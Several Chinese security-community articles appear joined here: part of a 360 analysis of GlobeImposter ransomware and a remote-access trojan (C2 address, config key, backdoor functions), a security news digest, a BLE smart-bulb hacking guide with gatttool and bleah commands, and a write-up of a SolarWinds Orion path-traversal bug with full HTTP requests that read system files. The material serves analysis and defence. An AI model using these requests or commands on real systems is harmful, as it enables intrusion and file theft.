#### 6.1.2 加密流程
初始化完成后开始进入加密流程，病毒会遍历全盘，在排除样本中不加密文件夹列表后，使用随机生成的公钥加密其他所有文件，之后将之前生成的机器唯一标识写入文件末尾。
排除的路径如下：:
* Windows
* Microsoft
* Microsoft Help
* Windows App Certification Kit
* Windows Defender
* ESET
* COMODO
* Windows NT
* Windows Kits
* Windows Mail
* Windows Media Player
* Windows Multimedia PlatformWindows Phone Kits
* Windows Phone Silverlight Kits
* Windows Photo Viewer
* Windows Portable Devices
* Windows Sidebar
* Windows PowerShell
* NVIDIA Corporation
* Microsoft .NET
* Internet Explorer
* Kaspersky Lab
* McAfe
* Avira
* spytech software
* sysconfig
* Avast
* DrWeb
* Symantec
* Symantec_Client_Security
* system volume information
* AVG
* Microsoft Shared
* Common Files
* Outlook Express
* Movie Maker
* Chrome
* Mozilla Firefox
* Opera
* YandexBrowser
* ntldr
* Wsus
* ProgramData
### 6.2 远控样本分析
样本为delphi编写的远控木马的Server端，包含了常见的远程控制功能及远程操作功能，中招机器可被完全控制。
#### 6.2.1 环境检测
程序启动首先进行一系列环境检测，检测失败则退出进程。检测包括调试检测、调试模块检测、API hook检测、虚拟机沙箱检测等。如下所示：
1. **调试模块检测**
2. **本地和远程调试调试检测**
3. **检测虚拟机，通过查询“0”** **键，检测”VIRTUAL”** **字段，检测是否在VM** **虚拟机或者VBOX**
4. **检测Cuckoo** **沙箱**
5. **检测WINE**
6. **检测** **CWSandbox** **，**
7. **检测JoeBox** **和 Anubis**
8. **检测ShellExecuteExW** **是否被hook**
如上的一系列检测如不通过，则退出程序
#### 6.2.2 木马初始化
解密配置信息，key：PuBAanR08QJw3AjM
Copy自身至如下之一的目录，文件名aspbcn.exe
并写入启动项
完成后重新启动写入启动项的进程，并退出自身。
下载并解压sqlite模块
尝试提升权限
建立连接，IP 54.37.65.160 端口：0xCFD8，发送一些基本的系统基本信息，磁盘信息，PC名，账户信息等等至远程。
#### 6.2.3 后门指令部分
进入后门命令循环，功能很全面的木马，操作包括文件相关，进程相关，服务相关，注册表相关，系统控制，屏幕截图，防火墙，DDOS攻击等。列举部分如下：
1. **一些基本指令，远控常见的如文件相关，进程相关，服务相关，注册表相关**
****
2. **通过windows API** **模拟鼠标操作，控制系统**
3. **获取浏览器保存的账户信息**
4. **Udp Flood Attack**
5. **TCP SYN Attack**
6. **端口转发功能模块，通过端口转发可以对内网的其他不能连外网的机器进行控制**
## 第7章 产品解决方案
### 7.1 检测方案
#### 360天眼产品解决方案
360文件威胁鉴定器（沙箱）在默认情况下可以检测该勒索攻击事件中的远控木马和勒索软件， **无需升级** 。请关注沙箱告警中是否包含相关告警并进行排查。
360新一代威胁感知系统的流量探针已经加入了对勒索攻击中的远控木马上线包的检测，请尽快将规则升级至最新版本： **3.0.0226.10639**
，对应规则ID： **0x4e8b** ，规则名称： **发现勒索类远控木马上线行为** ，并确认该条规则已经开启。
规则升级方法：请在流量探针设备上依次选择，“系统配置”-“设备升级”-“规则升级”，然后选择“在线升级”或“离线升级”。
### 7.2 防护方案
#### 360天擎终端安全管理系统解决方案
360天擎终端安全管理系统第一时间相应该病毒，客户终端直接连接360公有云查杀模式下，无需升级病毒库即可查杀该病毒。
终端无法连接360公有云查杀模式下，需要先升级控制台病毒库版本，终端会自动同步控制台最新病毒库。控制台病毒库版本号显示不小于：2018-02-23。
同时，针对纯隔离网环境，可以通过隔离网工具升级控制台病毒库版本。
#### 勒索病毒查杀工具
针对这次Globelmposter勒索病毒事件，天擎团队制作了一个对账号弱口令检测以及勒索病毒查杀的工具，下载地址：
<http://dl.b.360.cn/tools/FocusTool.exe>
GlobeImposter勒索病毒事件安全检测工具使用手册下载地址：。
<http://www.360.net/assets/doc/Globelmposter%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E4%BA%8B%E4%BB%B6%E5%AE%89%E5%85%A8%E6%A3%80%E6%B5%8B%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C.pdf>
### 360虚拟化安全产品解决方案
**一、虚拟化安全检测防护建议**
1、建议安装部署虚拟化安全防护系统；
2、结合虚拟化安全防护系统对全网主机进行安全评估（包括弱口令检测、漏洞检测、病毒扫描、系统配置脆弱性检测等）；
**二、虚拟化安全主机安全防护措施**
****
**三、虚拟化安全防护策略**
**第一部分：** **360** **虚拟化安全管理系统（轻代理）** **7.0** **配置方法**
**系统进行网络隔离(针对已感染设备)**
配置方法：使用虚拟化安全（轻代理） **防火墙功能** 对已感染设备进行隔离，使用该功能需有防火墙功能模块授权。
* 将已感染设备进行分组操作
* 编辑防火墙策略模板
* 在主机策略-分组策略中，针对已感染设备分组，启用防火墙功能并下发防火墙策略模板
**开启病毒实时防护并清除病毒操作并(针对已感染设备)**
配置方法：使用虚拟化安全（轻代理） **病毒查杀功能** 清除已感染的勒索病毒，使用该功能需有防病毒功能模块授权。
* 在主机策略-分组策略页面，针对受感染主机的分组，开启实时防护功能，并自定义实时防护相关设置。
* 对已感染设备下发全盘扫描任务
建议：若发现系统文件或可执行程序被感染，建议查杀病毒后根据业务情况安排变更重启，重启前请做好相关备份工作。
* 在公网的环境下，云查配置方式：
当客户端可连接公网时，选择“直接连接360网神云安全鉴定中心”
当控制中心可以连接公网，客户端不可连接公网时，可选择“通过控制中心代理连接到360网神云安全鉴定中心”
* 隔离网环境下建议开启增强版杀毒引擎（测试授权需申请增强版防病毒模块）
* 开启防爆力破解实时防护
配置方法：使用虚拟化安全（轻代理）防爆力破解功能进行实时防护，使用该功能需有防爆力破解功能模块授权
* 在主机策略-分组策略中，针对受感染主机分组，编辑防爆力破解规则
* 支持自定义防爆力破解IP白名单及IP 黑名单
**修复系统配置缺陷，关闭不必要服务（如关闭默认共享、远程桌面等），如必须启动常规有风险的服务，建议修改默认端口**
配置方法：使用虚拟化安全（轻代理） **安全基线功能** 检测系统配置，并修复系统配置缺陷，使用该功能需有安全基线功能模块授权
* 在主机管理-安全基线页面，针对受感染分组主机进行安全扫描；
* 扫描完成后针对受感染分组主机进行系统修复
**更新病毒库至最新版本**
配置方法：使用虚拟化安全（轻代理） **升级管理及升级设置功能**
* 当控制中心可以连接公网时的病毒库升级配置
可自定义配置“自动将控制中心的主程序、病毒库、webshell引擎更新至最新版本”、“自动将主机的病毒库、webshell引擎升级至最新版本”
* 隔离网环境下的病毒库升级
方法一：检查虚拟化安全控制台病毒库版本，在公网<http://cloud.b.360.cn/>下载最新的病毒库安装包并导入控制台后，升级各终端病毒库至最新版本。
注：若已开通增强版防病毒引擎，请使用windows 病毒库增强版及Linux 病毒库增强版更新包更新。
方法二：当控制中心无法连接公网时，可配置HTTP代理服务器升级控制中心病毒库
方法三：使用离线升级工具进行升级，离线升级工具使用说明文档请见离线升级工具安装包。
**第二部分：360** **虚拟化安全管理系统（轻代理）V6.1** **配置方法**
**系统进行网络隔离(针对已感染设备)**
配置方法：使用虚拟化安全（轻代理） **防火墙功能** 对已感染设备进行隔离，使用该功能需有防火墙功能模块授权。
* 将已感染设备进行分组操作
* 开启终端防火墙模块并编辑防火墙策略模板
* 在主机策略-分组策略中，针对已感染设备分组，启用防火墙功能并下发防火墙策略模板
**开启病毒实时防护并清除病毒操作并(针对已感染设备)**
配置方法：使用虚拟化安全（轻代理） **病毒查杀功能** 清除已感染的勒索病毒
* 在主机策略-分组策略页面，针对受感染主机的分组，开启实时防护功能，并自定义实时防护相关设置，使用该功能需有防病毒功能模块授权。
* 对已感染设备下发全盘扫描任务
建议：若发现系统文件或可执行程序被感染，建议查杀病毒后根据业务情况安排变更重启，重启前请做好相关备份工作。
* 在公网的环境下，云查配置方式：
当控制中心与客户端都可连接公网时，选择“直接连接360网神云安全鉴定中心”
当控制中心可以连接公网，客户端不可连接公网时，可选择“通过控制中心代理连接到360网神云安全鉴定中心”
**更新病毒库至最新版本**
配置方法：使用虚拟化安全（轻代理） **升级管理及升级设置功能**
* 当控制中心可以连接公网时的病毒库升级配置
可自定义配置病毒库更新时间，且可手动触发实时更新
* 隔离网环境下的病毒库升级
场景一：当控制中心无法连接公网时，可配置HTTP代理服务器升级控制台病毒库版本
场景二：当终端无法连接公网时，可配置代理服务器升级终端病毒库版本
场景三：使用离线升级工具进行升级，离线升级工具使用说明文档请见离线升级工具安装包。
****
**360** **虚拟化安全管理系统（无代理）V6.1** **、V7.0** **版本配置方法**
**确保恶意软件实时防护处于开启状态，若发现病毒即时进行隔离、删除处理**
* 打开实时防护： 如果打开实时防护 ，应用该安全配置的虚拟机将受到实时的防恶意软件防护，虚拟机列表中的实时防护状态会变为
* 恶意软件处理：如果在虚拟机中检测到病毒，进行隔离、删除处理
隔离：将恶意软件移到隔离区
删除：将恶意软件永久删除
**清除病毒：针对已感染设备，进行全盘扫描发现病毒及时处理（已配备策略）**
**定期扫描，预防风险：建议选择在空余时间如下班等业务流量较少的时段对虚拟机进行全盘扫描。**
注：只有虚拟机为开启状态才会进行定期扫描
**更新病毒特征库、网络特征库至最新版**
主机会每小时检查下载新的特征库，如果防护系统安装在一个封闭的私有网络，管理员需要手动在管理中心上传更新特征库。如果防护系统可以访问外网，系统会自动更新特征库。如果需要使用HTTP
代理，请在管理->系统设置页面填写正确的代理服务器信息。
**做好数据备份恢复**
支持备份管理中心相关的配置文件，如安全策略、匹配规则、用户、角色等。
支持上传备份文件并恢复配置，恢复过程中会重启管理中心相关进程.
点击“创建备份”，会将管理中心相关配置文件打包生成名称为ICS-CFG-year-month-day-hour-minute-seconds.tgz的文件。
点击“上传配置”，能够将配置上传至管理中心对应目录并应用该配置。
**设置警报规则，第一时间发现威胁，处理勒索病毒**
用户可以自定义，哪些警报规则需要发送警报邮件通知管理员。没有配置SMTP参数情况下，“发送警报邮件“栏不可编辑。
* 开启入侵防御 ，抵御应用程序漏洞、病毒和恶意网络通信的攻击。
系统默认根据“适用操作系统”来显示对应的入侵防御规则：例如，适用操作系统为”windows”时，入侵防御规则页面会显示windows下的入侵防御规则。
在入侵防御页面可以根据安全等级选取所有的入侵防御规则。
点击列表中的规则名称，可以打开“入侵防御规则信息”对话框，查看详细的信息。
### 360天堤产品解决方案
360新一代智慧防火墙（NSG3000/5000/7000/9000系列）和下一代极速防火墙（NSG3500/5500/7500/9500系列）产品系列，已通过更新IPS特征库完成了对该勒索病毒远控木马的防护。建议用户尽快将IPS特征库升级至“1802262232”版本并启用规则ID:51076进行防护。
## 做好事要留名！360安全监测与响应中心开放订阅安全预警通告渠道啦
360安全监测与响应中心成立于2016年，是属于360企业安全的安全应急响应平台，旨在第一时间内为客户提供漏洞或网络安全事件预警通告、相应处置建议、相关技术分析和360企业安全产品解决方案。
在2017年的网络安全事件中（如WannaCry蠕虫爆发、“坏兔子”勒索病毒等）和2018年的CPU漏洞(Meltdown与Spectre)、Globelmposter勒索病毒等事件中，360安全监测与响应中心都为个人和企业提供了有效的解决方案和处置建议~
每一个安全预警通告的背后都有安全研究专家付出的身影，他们常常牺牲很多自己的休息时间，只为保障通告的权威性和有效性。
在过去一年多的时间，我们也收到很多客户积极的反馈，许多客户在收到我们的安全预警通告之后根据其中的处置建议及时作出了响应，有效的阻止了病毒的蔓延，成功避免了很多漏洞带来的危害。
为了实现我们“人人安全”的目标，在此我们面向全社会公开订阅安全预警通告邮件的渠道啦！只需用工作邮箱发邮件到c
**[ert@360.net](mailto:ert@360.net)**
说明您所在的单位和需要收信的邮箱即可~我们的小编在看到申请订阅邮件后会及时回复的~
订阅成功后您就能第一时间收到重大漏洞/事件的安全预警通告（以邮件附件的形式发送到您申请订阅的邮箱），及时根据我们的通告作出有效的响应~
**重申一下~**
需要订阅请用工作邮箱发送申请到 **[cert@360.net](mailto:cert@360.net)** 即可~
给各位观众老爷ღ( ´･ᴗ･` )比心 | 社区文章 |
# 【知识】9月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Adobe Security Incident Response泄露private key、Google使用fuzzer
Domato测试了浏览器Top 5，发现Safari充斥着安全漏洞、Hack the Hacker – Fuzzing mimikatz with
WinAFL&Heatmaps (0day)、自适应的Android内核热补丁技术、基于Google搜索结果的命令行漏洞扫描工具、几个更常见的OAuth
2.0漏洞** ****
****资讯类：**** ** ******
************
Adobe Security Incident Response泄露private key
<https://twitter.com/jupenur/status/911286403434246144>
Google使用fuzzer Domato测试了浏览器Top 5，发现Safari充斥着安全漏洞
<https://www.bleepingcomputer.com/news/security/google-experiment-tests-top-5-browsers-finds-safari-riddled-with-security-bugs/>
**技术类：**
****
Linux 堆利用简介系列：
<https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/>
使用VPNPivot渗透内网（使用SSL/TLS加密隧道实现了Linux下使用tap device的VPN pivoting）
<http://www.kitploit.com/2017/09/vpnpivot-explore-internal-networks.html>
Hack the Hacker – Fuzzing mimikatz with WinAFL&Heatmaps (0day)
<https://www.sec-consult.com/en/blog/2017/09/hack-the-hacker-fuzzing-mimikatz-on-windows-with-winafl-heatmaps-0day/index.html>
自适应的Android内核热补丁技术
Android内核漏洞是对用户隐私和安全的一个严重威胁，然而由于Android生态系统的碎片化，大部分Android设备商无法及时更新内核补丁。最近的Android恶意软件甚至已经内置了内核exploits可完全接管设备，本文提出了KARMA这个自适应的热补丁系统
<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-chen.pdf>
通用加密PowerShell脚本的解密工具
<https://github.com/JohnLaTwC/PyPowerShellXray>
蓝牙安全指南
<https://csrc.nist.gov/csrc/media/publications/sp/800-121/rev-2/draft/documents/sp800_121_r2_draft.pdf>
基于Google搜索结果的命令行漏洞扫描工具
<https://github.com/utiso/dorkbot>
集成了Aircrack、Reaver等的Android平台WiFi破解工具（内置无线网卡需支持Monitor模式，否则需要使用OTG连接外置网卡）
<http://www.kitploit.com/2017/09/hijacker-v13-all-in-one-wi-fi-cracking.html>
<https://github.com/chrisk44/Hijacker/releases>
几个更常见的OAuth 2.0漏洞
<https://blog.avuln.com/article/4>
如何快速分类使用VBS下载器的Powershell操纵的恶意word文档
<https://www.ringzerolabs.com/2017/09/triaging-malicious-word-document.html>
搜索base64的字符串
<http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/> | 社区文章 |
# 低功耗蓝牙攻击实用指南
|
##### 译文声明
本文是翻译文章，文章原作者 attify，文章来源：blog.attify.com
原文地址：<https://blog.attify.com/the-practical-guide-to-hacking-bluetooth-low-energy/>
译文仅供参考，具体内容表达以及含义原文为准。
众所周时，蓝牙是当下无线网络技术中最受欢迎和常用一种。伴随着蓝牙技术在物联网中的发展，蓝牙技术联盟以信标、医疗保健、娱乐、健身为核心不断努力提升传输速度。
低功耗功耗蓝牙（BLE）是蓝牙4.0规范的一部份，它还包含传统蓝牙和蓝牙高速传输协议。与传统蓝牙相比，BLE 在保持相同的通信范围的同时，功耗更低。BLE
是一种“总是关闭”的技术，期间只需传输少量的数据。这大大降低了功耗，使其非常适合在需要具有低数据速率的持久长连接的情况下使用。蓝牙非常适合做电视遥控，但是不适合需要传输大量数据的无线流媒体设备。
我们现在使用的很多设备内置有低功耗蓝牙。从智能手机、智能电视、医疗设备等先进技术到咖啡机等基本设备都是用了蓝牙。
BLE 源自于诺基亚一个名为“WIBREE“的内部项目，后期被蓝牙技术联盟(SIG)接管。BLE的设计着重于更好的配对速度和能源效率。
## 什么让BLE如此突出?
* 支持多平台通信：能够轻松的在 Android、IOS、Linux、Windows Phone、 Windows 8 以及 OS X 等平台的大量设备上通信。
* 更快的匹配速度
* 有助于维持较长时间的连接
* 显著降低实施成本
* 节能
## BLE 听起来不错，它真的那么好吗？
从安全的角度来看，这是个很好的问题。事实是——BLE只是一个协议。这取决与制作商在他们设备上安全的实现
BLE。由于随机数生成器不够“随机”，即使是最强的加密协议也会失败。BLE 也同样适用。可以这么说，BLE 的安全掌握在他的实现者手上。
虽然所有的蓝牙低功耗设备都是以增强用户体验为主要目的开发的，在开发过程中，安全是否退居次要地位?
让我们看看 BLE 可能会让用户暴露的三个主要漏洞:
1. **窃听：** 顾名思义，窃听是指第三方设备监听两个已配对设备之间的数据交换。两个已经匹配的设备之间的连接建立了信任链。当其中一个设备被移除，信任链就会断开。攻击者可以使用这个设备的单元号取得与另一个蓝牙设备的访问权限。即使此设备的加/解密密钥一倍删除，攻击者仍然可以使用蓝牙嗅探器暴力破解 PIN 码。一旦得到 PIN码，设备极易被劫持。
2. **中间人攻击：** 中间人攻击中第三方设备伪装成合法设备，欺骗两个合法的设备，让它们相信它们之间是相互连接的。事实上，合法的设备被连接到攻击设备上。此中攻击攻击者更够访问正常设备之间的所有交互的数据，以及在数据在到达接收端之前通过删除或者修改方式来伪造数据。
3. **拒绝服务 &模糊攻击（Fuzzing）：**由于目前大多数无线设备都使用内置的电池组，这些设备面临着遭受拒绝服务攻击(DoS)的风险。DoS攻击时系统频繁崩溃，从而导致电池完全耗尽。模糊攻击也会导致系统崩溃，因为攻击者发送畸形的数据到设备的蓝牙广播并检查其响应，最终导致系统崩溃。
## BLE核心概念
BLE 的两个基本概念。
* **GAP** 通用访问配置文件(Generic Access Profile)
* **GATT** 通用属性配置文件(Generic Attribute Protocol)
### 通用访问配置文件(GAP)
GAP 用于设备连接和广播通信（advertising）。GAP 负责蓝牙设备对外可见性，并在决定设备如何与其他设备交互时起到重要作用。
以下是 GAP 内部较为重要要两个概念：
**外围设备：** 这些小型低功耗设备可以连接到更为复杂、强大的中心设备。心率检测器就是一个典型的外围设备。
**中心设备：** 此类设备大多是手机或者拥有更大内存、更强处理能力的设备。
#### 广播流程（Advertising process）
下图形象的展示了广播和扫描响应是如何工作的。
外围设备每隔2秒发送一次广播数据。如果中心设备监听到了来自外围设备的广播数据，他将回复扫描 **响应请求** 。
作为对该请求的响应，外围设备会发送扫描响应数据。至此，外围中心设备与外围设备均取得了广播，并相互建立了连接。
### 通用属性配置文件(GATT)
GATT 使用一种称为属性协议的通用数据协议，它定义了两个 BLE 设备如何使用服务和属性两个概念进行数据交换。该协议使用蓝牙技术联盟指定的16 位 ID
将所有服务和属性存储在查找表中。需要注意的是，GATT 只有在 GAP 广播流程结束之后才能初始化。
GATT 的两个主要概念：
* 服务（Services）
* 属性（Characteristics）
#### 服务
服务被简单地定义为一个可以容纳许多抽屉的柜子，这些抽屉又被称为属性。一个服务可以有多个属性。每个服务可以使用官方16位的通用唯一识别码（UUID）或128位自定义的通用唯一识别码（UUID）。
#### 属性
属性是 GATT 事务中最基本的概念。属性包含单个数据点，与服务类似，每个属性都有一个用于与其他属性相区别的 ID 或
UUID。例如，健康手环的心率传感器。
这里是BLE设备[
**属性**](https://www.bluetooth.com/specifications/gatt/characteristics)和[
**服务**](https://www.bluetooth.com/specifications/gatt/services)的 SIG 规范。SIG
正式采用的 UUID 在任何一个 BLE 设备中都必须在应用程序中使用他们指定的 ID。
例如，SIG 规定的官方的TX Power 的 UUID 是`0x1804`。
nRF Connect应用扫描的信标(稍后将详细介绍)必须与 SIG 规范中的TX power 的 UUID 保持一致。
### BLE 利用工具
Linux 对 BLE 提供了很好支持。为了使用 BLE,我们需要安装蓝牙栈（blueZ）。使用以下命令安装BlueZ。
sudo apt-get install bluez
我们将使用已安装有 bluez 的台式/笔记本电脑。它将作为中心网关与其他外围设备之间通信。BlueZ 的目标是编写和实现蓝牙无线标准规范。在安装好
BlueZ 之后，我么需要两个工具去扫描、连接以及读写数据。
1. **hcitool**
2. **gattool**
在开始之前，我们需要周围的 BLE 设备。如果我们需要搞清楚怎么连接 BLE 设备、如何读取数据以及发现设备的漏洞，那么hcitool 必不可少。
#### hcitool
它利用笔记本电脑的主机控制器接口与BLE设备进行通信和读写更改。因此，hcitool在发现可用的广播受害者BLE设备，并在连接后更改值时非常有用。
#### gattool
如上一段所述，gatttool主要用来帮助发现可用 BLE 设备的服务和属性，以便根据攻击者读取/写入受害者的数据。
### 命令手册
#### 常用指令
命令 | 功能
---|---
hciconfig | 用于配置蓝牙设备。我们可以运行这个命令来列出连接到我们计算机的 BLE 适配器以及它们的基本信息。
hciconfig hciX up | 启用名为 hciX 的蓝牙设备
#### Hcitool 命令
hcitool 用于配置蓝牙连接，并向蓝牙设备发送一些特殊命令。
命令 | 功能
---|---
hcitool -i hciX | 使用 hciX 接口，如果不指定，默认使用第一个可用接口。
hcitool -i hciX | 扫描处于发现模式的传统蓝牙设备。
hcitool lescan | 扫描 BLE 设备。
更多命令：<https://helpmanual.io/man1/hcitool/>
#### Gattool 命令
GATT 代表通用属性，定义了用于组织特征和属性的数据结构。
命令 | 功能
---|---
gatttool -I | 以交互模式启动 gatttool。
gatttool -t random -b [adr] -I | 使用随机 LE 地址在交互模式下启动 gattool。连接到地址为 adr
的远程蓝牙设备。
primary | 检查已连接 BLE 设备的可用服务。
characteristic | 检查已连接 BLE 设备的可用属性，以便从中读取数据。
char-desc | 特征描述符的发现。检查 n 个 handle。
char-read-hnd | 使用 handle 读取属性 。
char-write-req | 向 handle 写入值。
更多命令：<https://helpmanual.io/man1/gatttool/>
### 使用示例
`hciconfig`: 用于列出所有连接的 BLE 适配器。
`hciconfig hicX up`: 启用名为 hciX 的 BLE 适配器。
`hciconfig hciX down`: 禁用名为 hciX 的 BLE 适配器
`hcitool lescan`: 扫描附近的 BLE 设备。
在获得 BLE 设备的地址后，我们需要连接它。这就是我们使用 gattool 的时候。
`gatttool -I`: 以类似 REPL 的交互模式启动 gatttool，用户可以按照下列的方式执行各种命令。
`connect <addr>`：使用给定的地址连接 BLE 设备。
如果设备只与手机相连而不能与电脑相连，上述步骤可能无效。为了连接这样的设备，我们需要使用随机的地址。
`gatttool -t random -b <addr> -I`: 使用随机地址连接设备。
在成功连接后，我们可用使用以下命令查看设备的服务和属性。
**Primary**
**Characteristics**
在找到服务和属性后，我们需要知道读/写数据的 handle。这可以使用`char-desc`命令得到。
我们可以使用形如`char-desc 01 05`（该显示从1 到 5 的5 个 handle）的命令过滤特定范围的 handle 并显示。
在找到 handle 后，我们使用命令`char-read-hnd <handle>`从 handle 中读取数据。
为了能够写入特定的 handle，我们需要知道哪个是可写 handle。为此，我们可以选择一个 hit 和 try 方法，然后逐个读取所有
handle，直到遇到读取错误为止。读取错误意味着这是一个写 handle（写 handle 不能被读取）。或者，类似 nRF Connect
的应用可以自动计算出写 handle。
handle **0x000b** 的UUID 下图所示。
使用 nRF Connect，我们得到了以下的输出，确认 0x000b 确实是写 handle。上图中 0x000b的 UUID 和下图中 nRF
Connect 的相匹配。
在连接到灯泡后，我们可以向不用同的属性写入随机值。在大多数情况下，写入随机值不会像预期的那样工作。在 handle
中写入正确的值，我们需要解密数据协议，我们可用使用嗅探工具来解密，如 wireshark 和 ubertooth。
在解密数据协议后，我们可以命令`char-write-req <handle> <value>` 向 handle 中写入值。
如果`char-write-req`报错，可以使用`char-write-cmd`替换。
### 蓝牙数据包日志（Bluetooth HCI snoop log）
Android 4.4 及以上有一个选项，可以记录设备所有进出的蓝牙数据包。要捕获蓝牙通信，请遵循以下步骤。确保安装了Android 应用程序。
**第一步** ： 进入设置中的开发者选项。
**第二步** : 在开发者选项中启用“打开蓝牙数据包日志”。
**第三步** ： 运行 Android 程序（magic blue），并发送一些改变灯泡颜色的命令。重复发送几次。
**第四步** ：对应于我们的命令，我们可以在`sdcard/btsnoop_hci.log` 或者`/internal
Storage/btsnoop_hci.log`中找到捕获的蓝牙流量文件。
注意 – 在部分设备上, btsnoop_hci.log
被创建在不同的位置，例如`/sdcard/Android/data/btsnoop_hci.log`。
使用Emal 、 Google Drive 或者 USB 数据线将捕获的日志文件传输到台式/笔记本电脑上。
**第四步** ： 在 Wireshark 中分析流量，Wireshark 是一个免费开源的数据包分析工具，使用以下命令安装。
sudo apt install wireshark-qt
更多关于如何使用 Wireshark 说明见我们的博客：<https://blog.attify.com/exploiting-iot-enabled-ble-smart-bulb-security/>。
或者，使用文本编辑器打开捕获的文件，如nano。
### 使用 nRF Connect
Nordic 半导体的[nRF
Connect](https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_IN)
可以用与 BLE hacking。它可以嗅探和写入数据，就像gatttool 一样。
**第五步** ： 打开 nRF Connect 应用并连接 BLE 灯泡。
**第六步** ： 一旦连接，写入 payload 值`56b0306000f0aa`,点击发送。灯泡的颜色会变成紫红色。
这是因为颜色使用了RGB 值 176, 48, 96 或者十六进制值 B03060。此条命令发送非灯泡的值是 `56 b0 30 60 00 f0
aa`。注意，第二字节、第三字节、第四字节分别对应十六进制中的 RGB 值。
我们可以通过人工分析流量并试图从中找到协议中的模式。
### 使用 Blash 进行 BLE 攻击
[Blash](https://github.com/evilsocket/bleah) 是一个 BLE 扫描工具，它基于 python库
[bluepy](https://github.com/IanHarvey/bluepy)。在此节中，我们将了解如何使用Bleah 黑掉 BLE设备。
在开始之前，我们需要
**硬件**
* 做好是运行 Ubuntu 的笔记本
* 一个智能 BLE 灯泡或者其他蓝牙智能设备
* 一个蓝牙适配器
**软件**
* Python 2.7 （Ubuntu中默认已安装）
* Bluepy 库
* Bleah
首先确保，Bluepy 如预期一样工作。
前往 bluepy 目录，打开终端，然后输入``sudo ./bluepy-helper 0`然后输入le on，如下所示。
（注意：可用使用命令`which bluepy-helper`找到 Bluepy 的安装路径）
success 消息表明 Bluepy 运行正常。现在，让我们看看如何使用 Bleah 进行 BLE 攻击。
**第一步** ： 在同一终端中输入 `scan`扫描附近的 BLE 设备。
我们的 BLE 设备的地址是 `F81D78607184` 。
**第二步** ： 开一个新终端并运行`sudo bleah -t0`，`t0`表示连续扫描。
**第三步** ： 我们可以连接指定的设备并枚举所有的服务和属性，使用以下命令。
sudo bleah -b "aa:bb:cc:dd:ee:ff" -e
`aa:bb:cc:dd:ee:ff` 代表设备地址
`-b` 表示按照设备地址过滤
`-e` 代表连接设备并执行枚举操作
**第四步** ：向特定的属性中写入数据运行。
sudo bleah -b "aa:bb:cc:dd:ee:ff" -u "0000ffe9-0000-1000-8000-00805f9b34fb" -d "data"
正如我们看到的，Blash 是一个实施 BLE 设备攻击的强大工具。它自动化实现了许多步骤，否则我们需要手工完成。
在这篇博文中，我们学习了对蓝牙低功耗设备进行攻击的各种工具和技术。希望你从此文中受益。 | 社区文章 |
# 分析SolarWinds Orion平台的另外三个漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2021/2/11/three-more-bugs-in-orions-belt>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在前一篇文章中（[原文](https://www.zerodayinitiative.com/blog/2021/1/20/three-bugs-in-orions-belt-chaining-multiple-bugs-for-unauthenticated-rce-in-the-solarwinds-orion-platform)、[译文](https://www.anquanke.com/post/id/229457)），我们演示了如何利用低权限用户来访问SolarWinds
Orion平台中的某些资源，介绍了如何利用这些资源实现远程代码执行（RCE）。我们也演示了如何使用CVE-2020-10148来绕过身份认证。在本文中，我们将分析由匿名研究人员提供的其他3个漏洞，guest（访客）用户可以将这些漏洞与权限提升bug结合组合使用，发起攻击。由于这些bug比较简单，因此本文篇幅不会太长。
## 0x01 特权
在前一篇文章中，我们简要讨论了SolarWinds
Orion平台中的权限。该平台中有一个预定义的角色：guest账户。默认情况下，这个账户不需要密码，也没有分配任何特权。虽然这个账户默认处于禁用状态，但在某些部署场景下，该账户可能会被启用。
## 0x02 CVE-2020-27870：目录遍历导致任意文件读取
`/orion/ExportToPDF.aspx`可以将HTML转换为PDF，但该地址并没有检查HTML中是否包含对本地文件的引用。此外，guest用户也可以访问该资源。如果攻击者提供的HTML文件中引用了本地文件，那么就有可能在服务器上通过`SYSTEM`上下文读取任意文件。
比如，攻击者可以通过如下请求来读取服务器上的`C:\\Windows\\system32\\drivers\\etc\\hosts`文件内容：
POST /orion/ExportToPDF.aspx?ExportID=55475&PageHTML=%3Chtml%3E%3Ciframe%20src=%22C:%5CWindows%5Csystem32%5Cdrivers%5Cetc%5Chosts%22%20width=%221000%22%20height=%221000%22%3E%3C/html%3E HTTP/1.1. <-------
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC59[...]
Content-Length: 53
[...Truncated...]
也可以通过如下请求来读取PDF文件：
POST /orion/ExportToPDF.aspx?ExportID=55475&gimmethefile=true HTTP/1.1
Host: 172.16.11.168:8787
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Origin: http://172.16.11.168:8787
X-Requested-With: XMLHttpRequest
Referer: http://172.16.11.168:8787/Orion/SummaryView.aspx?ViewID=1
Content-Type: application/x-www-form-urlencoded
Cookie: .ASPXAUTH=0660567401DF21BAAC590375C511332186FE319751464EE2932BBBCECF1EECFDEB7AA7233D83572D3B253C5ADE83A083BD5CF9E0B7699DFEDB363A1442CCF2EBE56CA101813AEF9FF9A1579E73A430AC3244F36FD16490759B5B68A4E8A3F5A81E11FC7C5089CDD107A332701E673486A9683E74BB72A823C438FB681E3821F71F74C58A4D2E10146E19B04D5D491E3799E0973FBF1A8ED1723E97FE52E40D29D926C3A0B88074EE68B1ECE4391CD320; ASP.NET_SessionId=4q4kij1u0b3p3w5fcztorv5e; XSRF-TOKEN=6/SttzXoY2rJFY+74my5pSS055DftLCVbuOBlNKBxEU=; __AntiXsrfToken=e2de2272ca1e4cb7854602e9a0ca8d03
Content-Length: 53
